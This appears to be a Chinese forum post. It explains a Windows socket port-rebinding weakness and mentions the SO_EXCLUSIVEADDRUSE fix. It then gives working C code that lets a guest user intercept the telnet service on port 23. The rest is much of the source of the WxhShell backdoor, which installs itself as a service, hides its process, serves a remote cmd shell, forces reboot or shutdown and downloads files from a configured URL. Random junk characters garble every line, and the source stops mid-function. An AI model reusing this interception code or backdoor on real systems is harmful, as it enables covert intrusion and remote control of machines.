在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^ESUMXb s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^_sQG P7Xg{L&@. saddr.sin_family = AF_INET;
sds}bo
[,rn3C A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
K U$`!h
>zQOK- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
e9 *lixh Pubv$u2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_B3zRO TKo<~? 这意味着什么?意味着可以进行如下的攻击:
#ra*f~G +Juh:1H 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Hs$'0: ~q 7;8<U 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q4/909x= UA0F): 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
afx' 4@h;5 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Kk=LXmL2 ?_%u)S*g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ya.n'X14 xz8G}Ku 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FIS "Z( l[oe*aYN7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Lc|{aN P6.!3%y #include
T cJ$[ #include
&qKigkLd #include
RU|X*3";T #include
i'=2Y9S} DWORD WINAPI ClientThread(LPVOID lpParam);
,5{$+ int main()
'C^;OjAg {
p?JQ[K7i WORD wVersionRequested;
Z/g]o# DWORD ret;
'OD)v WSADATA wsaData;
h)cY])tGtK BOOL val;
:b@igZ< SOCKADDR_IN saddr;
0q#"clw SOCKADDR_IN scaddr;
n1,S_Hs int err;
JRY_nX SOCKET s;
Zj!Abji=O SOCKET sc;
Ys3uPs int caddsize;
35_)3R) HANDLE mt;
s6n`?,vw DWORD tid;
APq7 f8t wVersionRequested = MAKEWORD( 2, 2 );
E{%SR err = WSAStartup( wVersionRequested, &wsaData );
U*\17YU6h if ( err != 0 ) {
moZm0`WR printf("error!WSAStartup failed!\n");
kAo.C Nj7 return -1;
e)b%`ntF }
gi$XB}L+X saddr.sin_family = AF_INET;
I ]9C_ \f%.n]> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8EI:(NE*J "%@v++4y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?:uNN saddr.sin_port = htons(23);
:$%>4+l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4MLH+/e {
#K|9^4jt printf("error!socket failed!\n");
<cj{Qk return -1;
:o8MUXH$ }
WbcS: !0 val = TRUE;
IPtvuEju\ //SO_REUSEADDR选项就是可以实现端口重绑定的
vFhz!P~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/pykW_`/- {
|<c
WllN printf("error!setsockopt failed!\n");
!OAvD# return -1;
WD.U"YI8y }
`q_<Im%I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!Z|($21W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Zh'&-c_J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
d1G8*YO@ H
M:r0_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T1bd:mC}n {
Vte EDL/w ret=GetLastError();
}r3~rG<D71 printf("error!bind failed!\n");
E!mmLVa9 return -1;
rQr!R$t/[ }
,Eu?JH&}u listen(s,2);
U(,.D}PG while(1)
:_HF j.JW {
7lA:)a_!] caddsize = sizeof(scaddr);
`hUHel;6 //接受连接请求
@D[`Oj) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/X#z*GX if(sc!=INVALID_SOCKET)
\TbVS8e^ {
Dl,`\b@Fw3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`^6 ,kI-c if(mt==NULL)
~ap2m {
6q/?-Qcy printf("Thread Creat Failed!\n");
:dwt1> break;
e.vtEQV9
}
J2M(1g)t9 }
r:g9 Z_ CloseHandle(mt);
Ed-M7#wY }
tSHFm-q` closesocket(s);
0xMj=3'] WSACleanup();
3)N\'xFh@ return 0;
i$uN4tVKT }
.%}+R|g DWORD WINAPI ClientThread(LPVOID lpParam)
]Kh2;>=
Xj {
@S3f:s0~D SOCKET ss = (SOCKET)lpParam;
Yj3I5RG SOCKET sc;
)jDJMi_[ unsigned char buf[4096];
c0rk<V%5+ SOCKADDR_IN saddr;
r{K;|'d%h long num;
(f#b7O-Wn DWORD val;
'EhBRU% DWORD ret;
L%h/OD //如果是隐藏端口应用的话,可以在此处加一些判断
>I'%!E; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
i.y)mcB4 saddr.sin_family = AF_INET;
l=={pb saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3z8C saddr.sin_port = htons(23);
`I;F$ `\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K5 KyG {
,6"l (]0 printf("error!socket failed!\n");
8e2?tmWM return -1;
A :e;k{J }
X#p Wyo~ val = 100;
TqAPAHg if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
BmBz}:xMez {
%X1x4t] ret = GetLastError();
z`3( ,V return -1;
9A$m$ }
KZ:hKY@q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h<l1U'Bn7 {
%,q.),F ret = GetLastError();
anN#5jt return -1;
'%;\YD9 }
#x@ eDnb_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N#z~ {
6lFfS!ZFA printf("error!socket connect failed!\n");
lB;FUck9 closesocket(sc);
&^.57] closesocket(ss);
z\!K<d"Xv return -1;
#"*e+.j[; }
L
3XB"A# while(1)
U5r}6D!) {
cj$6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}}{Yw //如果是嗅探内容的话,可以再此处进行内容分析和记录
H=^K@Ti: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
<V&5P3)d9 num = recv(ss,buf,4096,0);
'MxSd( T
= if(num>0)
E-2eOT send(sc,buf,num,0);
KY9n2u&4 else if(num==0)
G4-z3e,crr break;
,xi({{L* num = recv(sc,buf,4096,0);
AC- )BM'; if(num>0)
]0j9>s2|Z send(ss,buf,num,0);
Z;DCI-Wg else if(num==0)
dJk9@u break;
,!QV>= }
;0%OB*lcgE closesocket(ss);
iThSt72 closesocket(sc);
2I'~2o return 0 ;
gzn^#3 b }
a2@c%i K7)kS k;^
: ==========================================================
uE5X~ e":G*2a 下边附上一个代码,,WXhSHELL
vGd1w%J- &, a3@i ==========================================================
9$*s8}| 7<\C?`q" #include "stdafx.h"
C(?blv-vM0 V-yUJ#f8[ #include <stdio.h>
t T%/r, #include <string.h>
Ri7((x]H" #include <windows.h>
t67Cv/r~ #include <winsock2.h>
L:&k(YOBA #include <winsvc.h>
E8[T #include <urlmon.h>
v3[@1FQ" TLa]O1=Bf. #pragma comment (lib, "Ws2_32.lib")
o*S"KX$ #pragma comment (lib, "urlmon.lib")
5TKJWO. fxQN+6; #define MAX_USER 100 // 最大客户端连接数
Vm1-C<V9 #define BUF_SOCK 200 // sock buffer
'Prxocxq #define KEY_BUFF 255 // 输入 buffer
VR?^HA9 .?W5{U #define REBOOT 0 // 重启
$&I'o #define SHUTDOWN 1 // 关机
5g5'@vMN umEVy*hc #define DEF_PORT 5000 // 监听端口
va)%et0! n~IVNB* #define REG_LEN 16 // 注册表键长度
N_C;&hJN$w #define SVC_LEN 80 // NT服务名长度
fPa9ofU/kr tOl e>] // 从dll定义API
NZLAk~R;0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
mh/n.*E7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5z$,6T typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6=GZLpv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
@ EuFJ=h u,.3 // wxhshell配置信息
S::=85[>z struct WSCFG {
'I}:!Z int ws_port; // 监听端口
>pL2*O^{9 char ws_passstr[REG_LEN]; // 口令
.x83Ah` int ws_autoins; // 安装标记, 1=yes 0=no
a6xj\w char ws_regname[REG_LEN]; // 注册表键名
[I*!
lbt char ws_svcname[REG_LEN]; // 服务名
m` AK~O2 char ws_svcdisp[SVC_LEN]; // 服务显示名
gxNL_(A char ws_svcdesc[SVC_LEN]; // 服务描述信息
$^/0<i$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}GwVKAjP int ws_downexe; // 下载执行标记, 1=yes 0=no
&?,U_)x/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
C)-^< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
yBpk$ | s+0~$O; };
w*7|dZk{ c~}l8M% // default Wxhshell configuration
d50Vtm\ struct WSCFG wscfg={DEF_PORT,
t0&@h\K "xuhuanlingzhe",
&n2e 1,
"Y:/=
Gx "Wxhshell",
l~:v
(R5 "Wxhshell",
(46 {r}_O "WxhShell Service",
:;;E<74e
i "Wrsky Windows CmdShell Service",
DPgm%Xq9(! "Please Input Your Password: ",
6c4&VW 1,
'fV%Z "
http://www.wrsky.com/wxhshell.exe",
xg`h40c "Wxhshell.exe"
'=E9En#@ };
imB# Eo4eY Nil}js27 // 消息定义模块
d;[u8t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
M5L{*>4|6 char *msg_ws_prompt="\n\r? for help\n\r#>";
R{Z-m2La char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
kK>X rj6 char *msg_ws_ext="\n\rExit.";
|iYg > char *msg_ws_end="\n\rQuit.";
zSTR^sgJ char *msg_ws_boot="\n\rReboot...";
qeL pXe0c char *msg_ws_poff="\n\rShutdown...";
Ji'(`9F&a char *msg_ws_down="\n\rSave to ";
.\Fss(Zn g:ErZ;[ char *msg_ws_err="\n\rErr!";
6SM:x]`##, char *msg_ws_ok="\n\rOK!";
AbwbAm+ FVsj; char ExeFile[MAX_PATH];
83~ i:+; int nUser = 0;
pcS+o HANDLE handles[MAX_USER];
@ T;L$x int OsIsNt;
|f( ~@Q: \0;(VLN'U SERVICE_STATUS serviceStatus;
*O$CaAr\s SERVICE_STATUS_HANDLE hServiceStatusHandle;
8;P2A\X i%Z2wP.o // 函数声明
;^u*hZN[Up int Install(void);
q z&+=d@ int Uninstall(void);
u+9<&)X0 int DownloadFile(char *sURL, SOCKET wsh);
bUy,5gk- int Boot(int flag);
K/_9f'^ void HideProc(void);
v5ur&egVs int GetOsVer(void);
[]W;t\h int Wxhshell(SOCKET wsl);
l3o#@sz: void TalkWithClient(void *cs);
u0)7i.!M int CmdShell(SOCKET sock);
#G]! % int StartFromService(void);
FyL_xu\e int StartWxhshell(LPSTR lpCmdLine);
e;YW6}'} mABe'"8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1^J`1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
5`[n8mU ^)yTBn, // 数据结构和表定义
G* b2,9&F SERVICE_TABLE_ENTRY DispatchTable[] =
yBed kj {
we7c`1E {wscfg.ws_svcname, NTServiceMain},
;;s* Ohh {NULL, NULL}
{i~8 : };
NmIHYN3 !LM<:kf.| // 自我安装
Bvjl-$m!v int Install(void)
xG&SX#[2 {
gIEl. char svExeFile[MAX_PATH];
Q/>L_S HKEY key;
+V862R4,o strcpy(svExeFile,ExeFile);
&<'n^n O%!5<8Xrb // 如果是win9x系统,修改注册表设为自启动
1n*W2:,z if(!OsIsNt) {
g&/p*c_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V:NI4dv/R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7cg*|E@ RegCloseKey(key);
-ZOBAG* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d^ ZMS~\* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^}yg%+ RegCloseKey(key);
g|<Sfp+;+ return 0;
-|yb[~3 }
xvLn'8H. }
HG>j5 }
wmr-}Y!9u% else {
4b]a&_-} %~|HFYd // 如果是NT以上系统,安装为系统服务
"%2xR[NF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
p\vMc\ if (schSCManager!=0)
gieJ}Bv {
]1-z!B 4K SC_HANDLE schService = CreateService
=TvzS%U (
ITuq/qts]A schSCManager,
cF T 9Lnz wscfg.ws_svcname,
{4 >mc'dv wscfg.ws_svcdisp,
nx":"LFI SERVICE_ALL_ACCESS,
v0*N)eqDGd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%!Q`e79g8 SERVICE_AUTO_START,
N@o?b SERVICE_ERROR_NORMAL,
xh@-g|+g svExeFile,
RH;:9_*F NULL,
g\oSG) NULL,
3#kitmV NULL,
g\A
y`.s NULL,
YMpf+kN NULL
\Xrw"\")j );
w*j$uW6{ if (schService!=0)
{.e=qQ%P5) {
Wk;5/ CloseServiceHandle(schService);
Pj#'}ru! CloseServiceHandle(schSCManager);
*y[PNqyd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wYsZM/lw strcat(svExeFile,wscfg.ws_svcname);
jMBiaX`F if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q(^Q3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gW(gJ;
L,% RegCloseKey(key);
jZfx Jm return 0;
Vsq8H}K }
jD,Baz< }
<g8K})P CloseServiceHandle(schSCManager);
(AY9oei> }
{0\,0*^p }
1r[@(c0 )QKf7 [: return 1;
{C*\O)Gep }
u9-nt}hGYM 6&v?)o // 自我卸载
}`_@'4:t int Uninstall(void)
0O!cN_l| {
iyx>q!P HKEY key;
o(A|)c4k ;bu#8, if(!OsIsNt) {
8Q`WB0E<| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_K2?YY(#> RegDeleteValue(key,wscfg.ws_regname);
Zwt; d5U RegCloseKey(key);
\~rlgxd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"+ "{+k5t RegDeleteValue(key,wscfg.ws_regname);
"GT4s?6O RegCloseKey(key);
@!=\R^#p return 0;
gA#RM5x@ }
{Ng oYl }
)+I.|5g }
ZBD;a;wx else {
R_P}~l iSK+GQ~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
D.!~dyI.,$ if (schSCManager!=0)
ytEC {
GDaN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^[:9fs if (schService!=0)
PrF}a<:n: {
D?jk$^p~m# if(DeleteService(schService)!=0) {
s)A<=)w/e CloseServiceHandle(schService);
%u{W7 CloseServiceHandle(schSCManager);
JD>d\z2QC return 0;
2B~wHv }
lkIn%=Z CloseServiceHandle(schService);
z5\;OLJS, }
`XTh1Z\ CloseServiceHandle(schSCManager);
Upl6:xYrG }
/ RZR} }
]6Ug>>x5 ;d.K_P return 1;
Q }k.JS~# }
C=Fzu&N} |C \}P // 从指定url下载文件
#4LFG\s int DownloadFile(char *sURL, SOCKET wsh)
~Z/
^c,[: {
}Y(]6$uS HRESULT hr;
AZ |yX char seps[]= "/";
A?5E2T1L%. char *token;
D:\ g,\Z char *file;
:!&;p char myURL[MAX_PATH];
x LBQ char myFILE[MAX_PATH];
1&=0Wg0ig ;.sl*q1A strcpy(myURL,sURL);
t,)N('m}= token=strtok(myURL,seps);
bZ_mYyBh while(token!=NULL)
<<A`aU^fX {
;#G oGb4AM file=token;
jd`},X / token=strtok(NULL,seps);
w
JwX[\ }
TjK{9A YKZrEP4^ GetCurrentDirectory(MAX_PATH,myFILE);
7)rWw<mY strcat(myFILE, "\\");
l7(!`NPbC strcat(myFILE, file);
NIr@R7MKd send(wsh,myFILE,strlen(myFILE),0);
Z!xVgM{ send(wsh,"...",3,0);
|xr%6 [Ff hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n@C~ev@%S if(hr==S_OK)
{@}?k s5 return 0;
.Jb$l$5'w else
b<I9 MR return 1;
UnDgu4#R`A G}@#u9 }
iyZZ}M ~\nBjM2 // 系统电源模块
C) QKPT int Boot(int flag)
(<t_Pru {
38V3o`f HANDLE hToken;
7DW]JK l TOKEN_PRIVILEGES tkp;
lor8@Qz 3LR p2(A if(OsIsNt) {
;Lw{XqT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M_0zC1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1xNVdI tkp.PrivilegeCount = 1;
0rk]/--FGJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jcCoan AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\hO2p6 if(flag==REBOOT) {
O/%< }3Sq if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
fqz28aHh return 0;
C`rLj5E% }
e)nimq
{6 else {
G |*(8r() if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-37a. return 0;
a^qNJ?R! }
Y-piL8Xc }
Ou>u% else {
_fFU#k:MU if(flag==REBOOT) {
7x]4`#u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Sydh2d return 0;
,7Y-k'7Kop }
a~h:qpgc else {
bo"%0?3n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
O40+M)e] return 0;
fjo{av~]y }
{C`GW}s{4 }
:WGtR\tK 6SJ"Tni8 return 1;
pi( -A }
D8{D[fJ; zxb/ // win9x进程隐藏模块
i[C~5}% void HideProc(void)
'PZ|:9FX! {
9DQ)cy TjWE_Bq]g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
DVZdClAL if ( hKernel != NULL )
>!e<}84b {
c97{Pu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
uaw~r2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
o!TQk{0 FreeLibrary(hKernel);
ubMOD< }
QR?yG+VU )CPM7> return;
JG`Q;K }
<E;pgw! seFGJfN\?f // 获取操作系统版本
=-cwXo{Q.O int GetOsVer(void)
zo{/'BnU {
EqiFy"H OSVERSIONINFO winfo;
O-vGyNxP| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
sML=5=otx GetVersionEx(&winfo);
,ea^,H6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u*S=[dq return 1;
qIUfPA=/_ else
[,EpN{l return 0;
R;whW:Tx }
gieN9S .D,p@4 // 客户端句柄模块
g]@(E int Wxhshell(SOCKET wsl)
iO/XhSD {
|LG4=j.l SOCKET wsh;
k;PAh>8 struct sockaddr_in client;
2A`A\19t DWORD myID;
^Jp&H\gI. (;x3} ] while(nUser<MAX_USER)
<>eOC9;VY {
KT|RF int nSize=sizeof(client);
mpC`Yk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"eWk#/ if(wsh==INVALID_SOCKET) return 1;
=.<@`1 WS-dS6Q} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0|xIBg) if(handles[nUser]==0)
p?[Tm*r closesocket(wsh);
(GnuWc\p else
`J<*9dq% nUser++;
XLk<*0tp }
2I3h
MD0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\?>Hu
v @53k8 return 0;
Z 2}ah }
[%~
:@m c5q9LQ/ // 关闭 socket
HjvCujJ void CloseIt(SOCKET wsh)
0C<[9Dl.G8 {
>FjR9B closesocket(wsh);
7qO a
;^T nUser--;
6%`&+Lq ExitThread(0);
(2ur5uk+ }
H~eRT1 !IU.a90V // 客户端请求句柄
o56` void TalkWithClient(void *cs)
cUqn<Z<n {
I4;A8I 3K&4i'}V SOCKET wsh=(SOCKET)cs;
84HUBud76Y char pwd[SVC_LEN];
c0c|z
Ym char cmd[KEY_BUFF];
m42T9wSsx char chr[1];
^2d!*W| int i,j;
jdKOb I jr\5FA[p while (nUser < MAX_USER) {
!g~1&Uw1 5Dp#u if(wscfg.ws_passstr) {
=4uSFK_L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AIb2k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
xX3'bsN //ZeroMemory(pwd,KEY_BUFF);
^
PI 5L i=0;
7*j
(* while(i<SVC_LEN) {
eD$M<Eu "gd=J_Yw // 设置超时
^Jb
H? fd_set FdRead;
HS'Vi9 struct timeval TimeOut;
Er/bO FD_ZERO(&FdRead);
Ze<K=Q%(i FD_SET(wsh,&FdRead);
rG?>ltxB TimeOut.tv_sec=8;
mOo`ZcTU TimeOut.tv_usec=0;
pY4}>ju(g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
A[G0 .>Wk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$,I q;*7N (%iRaw7hp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
MRU7W4W-~/ pwd
=chr[0]; jR=s#Xz
if(chr[0]==0xd || chr[0]==0xa) { >56>*BHD
pwd=0; x@mL $
break; f)]%.>
} 8eA+d5k\.
i++; Vz14j_
} %1pYEHn
"~UUx"Y
// 如果是非法用户,关闭 socket -(#I3h;I
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EM>}0V
} %h1N3\y9i(
yx V:!gl
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
IUR<.Y`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dd2[yKC`
Y|8vO
while(1) { \xg]oKbn
Y`+=p@2O2o
ZeroMemory(cmd,KEY_BUFF); ,mRyQS'F
Bq/:Nd[y
// 自动支持客户端 telnet标准 7+./zN
j=0; Vcd.mE(t%
while(j<KEY_BUFF) { $/Aj1j`"9+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5cx#SD&5/
cmd[j]=chr[0]; }@if6(0
if(chr[0]==0xa || chr[0]==0xd) { Qf@I)4'
cmd[j]=0; |t$Ma'P
break; m*e{\)rd#
} </uOe.l>Q
j++; B^).BQ
} a^ ,(v
TAjh"JJIV
// 下载文件 04r$>#E
if(strstr(cmd,"http://")) { ?` SUQm
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8* Jw0mSw
if(DownloadFile(cmd,wsh)) 8Sz})UZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3Cc;#
else = k\J<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y^<bl2"y8
} UGK*G y
else { /VG2.:
0'nikLaKy
switch(cmd[0]) { _X?^Cy
fhB}9i^]tg
// 帮助 CdL< *AH
case '?': { GfC5z n>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K98i[,rP
break; TX
} /dnCwFXf
// 安装 \W1/p`
case 'i': { hB{jUP)";
if(Install()) YuB+k^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sp@-p9#
else L5MzLE&~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EqI(|bFwy
break; I}R0q
} 37}D9:#5C
// 卸载 1'?4m0W1
case 'r': { aMTu-hA
if(Uninstall()) \6\<~UX^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7imV@<
else X1~1&:V,<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k1Q?'<`
break; 0Fu~%~#E$
} ~K@'+5Pc
// 显示 wxhshell 所在路径 r(9~$_(vK
case 'p': { av~5l4YL
char svExeFile[MAX_PATH]; |fo0
strcpy(svExeFile,"\n\r"); @V!r"Bkg.
strcat(svExeFile,ExeFile); l#n,Fg3
send(wsh,svExeFile,strlen(svExeFile),0); fDSv?crv
break; ={u0_j
W
} {5
sO
// 重启 =JmT:enV
case 'b': { =G]@+e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]kboG%Dl?9
if(Boot(REBOOT)) c%qv9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2PG [7u^
else { G+F:99A
closesocket(wsh); {26ONa#i
ExitThread(0); N?.%?0l
} p'om-
break; C"{k7yT
} :<|<|qJWo
// 关机 *oybD=%4
case 'd': { //aF5:Y#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [
Fz`D/
if(Boot(SHUTDOWN)) @$z<i `4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bwl|0"f+`
else { S.a%
closesocket(wsh); wiBVuj#
ExitThread(0); )YqXRm
} @K!&qw
break; }-@`9(o`)
} v~Y^r2
// 获取shell )K2HK&t:
case 's': { )Qvk*9OS
CmdShell(wsh); |ely|U. Tf
closesocket(wsh); F_4n^@M
ExitThread(0); [0D
Et
break; ,f&5pw
=
} 5v6Eii:
// 退出 CH<E,Z
C1T
case 'x': { u#@Q:tnN_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NG6& :4!
CloseIt(wsh); 2J;kSh1,L
break; J.|+ID+
} =3v]gOcO
// 离开 to$h2#i_
case 'q': { =*LS%WI
send(wsh,msg_ws_end,strlen(msg_ws_end),0); mtjh`
closesocket(wsh); WH\))y-
WSACleanup(); jNC4_q&
exit(1); :*2ud (
break; lO_UPC\@fw
} xagBORg+Bd
} UMcgdJB
} qZA).12qS
L:'J
Bhg
// 提示信息 =i7`ek
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,1"KHv
} -Zz$~$
} *v3]}g[<
^R@j=_8}
return; ,kn">k9
} J>bJ
449B
4%3Mb-#Y]
// shell模块句柄 4tS.G
int CmdShell(SOCKET sock) fwRZ5`v<
{ KFwzy U"
STARTUPINFO si; BV[ 5}
ZeroMemory(&si,sizeof(si)); [ra_ 2R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .8G@%p{,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :B:"NyPA
PROCESS_INFORMATION ProcessInfo; _n` a`2C|m
char cmdline[]="cmd"; AlIpsJ[UU
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %&Q$dzgb_
return 0; DY?Kfvef
} 1cD! :[
pn5Q5xc
// 自身启动模式 Pw61_ZZ4B\
int StartFromService(void) & J2M1z%
{ %GS(:]{n
typedef struct /x1![$oC0
{ OUNd@o
DWORD ExitStatus; D'Y-6W3
DWORD PebBaseAddress; Bjz Pz
DWORD AffinityMask; sU{NHC)5
DWORD BasePriority; EG=Sl~~o
ULONG UniqueProcessId; 0PrLuejz
ULONG InheritedFromUniqueProcessId; HEM9E&rL
